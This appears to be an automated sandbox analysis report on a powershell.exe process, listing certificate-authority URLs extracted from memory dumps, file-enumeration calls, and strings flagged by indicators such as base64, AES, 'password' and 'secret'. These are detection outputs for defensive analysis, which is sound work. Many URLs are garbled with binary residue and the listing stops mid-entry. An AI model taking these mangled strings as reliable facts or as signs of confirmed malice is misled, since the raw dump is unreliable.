"http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://crl.micryg" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006896.00000001.136542.ECA50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006896.00000001.136542.ECA50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yg6" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0@sg" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4http" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://crl.micryg" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.com!/" - Source: "00000000-00006896.00000001.136542.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com!/" - Source: "00000000-00006896.00000001.136542.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.com(>zfl,oqcredmond1microsoft" - Source: "00000000-00006896.00000001.136542.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crnameproptp:/nameprop_namepropnameprop5336namepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnameprop?azh?azhicro25100i$c0i$c0i$ch" - Source: "00000000-00006896.00000001.136542.EF070000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006896.00000002.138461.ECA50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006896.00000002.138461.ECA50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yg6" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0@sg" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4http" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://crl.micryg" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.com!/" - Source: "00000000-00006896.00000002.138461.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com!/" - Source: "00000000-00006896.00000002.138461.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com(>zfl,oqcredmond1microsoft" - Source: "00000000-00006896.00000002.138461.EF070000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crnameproptp:/nameprop_namepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropnamepropwnamepropnamepropnamepropnameprop?azh?azhicro25100i$c0i$c0i$ch" - Source: "00000000-00006896.00000002.138461.EF070000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006896.00000003.143769.ECB34000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006896.00000003.143769.ECB34000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%yg6" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0@sg" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4http" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://crl.micryg" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp")54:T757,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006896) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006896) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter 6078762b90671c2ff9ba39318e2176d8 (UID: 00000000-00006896) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter 4bc9a490e09c4482905e650c6310216b (UID: 00000000-00006896) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00006896) "powershell.exe" called "FindNextFileW" with parameter 7688492d89951deaadab62ea3b59fb6d (UID: 00000000-00006896)55:T133e,file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "aes"; File: "AMSI") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006896.00000000.134622.EEF70000.00000004.mdmp, 00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006896.00000000.134622.EEF70000.00000004.mdmp, 00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp, 00000000-00006896.00000001.136542.11C70000.00000004.mdmp, 00000000-00006896.00000001.136542.12210000.00000004.mdmp, 00000000-00006896.00000002.138461.11B90000.00000004.mdmp, 00000000-00006896.00000003.143769.11B50000.00000004.mdmp, 00000000-00006896.00000003.143769.11B70000.00000004.mdmp, 00000000-00006896.00000003.143769.11C10000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp, 00000000-00006896.00000001.136542.11C70000.00000004.mdmp, 00000000-00006896.00000002.138461.11B90000.00000004.mdmp, 00000000-00006896.00000003.143769.11B50000.00000004.mdmp, 00000000-00006896.00000003.143769.11B70000.00000004.mdmp, 00000000-00006896.00000003.143769.11C10000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "aesbcryptmodes" (Indicator: "aes"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "system.security.cryptography.xml" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "ecdsacertificateextensions" (Indicator: "ecdsa"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "ecdsax509signaturegenerator" (Indicator: "ecdsa"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aes"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "aesmanaged" (Indicator: "aes"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "ecdsacng" (Indicator: "ecdsa"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__198" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__484" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__110" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__37" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__487" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "d__27" (Indicator: "base64"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp")56:T698,Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00006896.00000001.136542.11C50000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00006896.00000001.136542.11C70000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00006896.00000001.136542.EEF70000.00000004.mdmp, 00000000-00006896.00000002.138461.EEF70000.00000004.mdmp, 00000000-00006896.00000003.143769.EEF70000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00006896.00000002.138461.11B90000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00006896.00000002.138461.11B90000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00006896.00000002.138461.121F0000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00006896.00000002.138461.121F0000.00000004.mdmp")57:T907,Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00006896.00000000.134622.ECA40000.00000004.mdmp, 00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000000.134622.ECCD0000.00000004.mdmp, 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECCD0000.00000004.mdmp, 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECCD0000.00000004.mdmp, 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.ECCD0000.00000004.mdmp, 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00006896.00000000.134622.ECA40000.00000004.mdmp, 00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000000.134622.ECCD0000.00000004.mdmp, 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECCD0000.00000004.mdmp, 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECCD0000.00000004.mdmp, 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp, 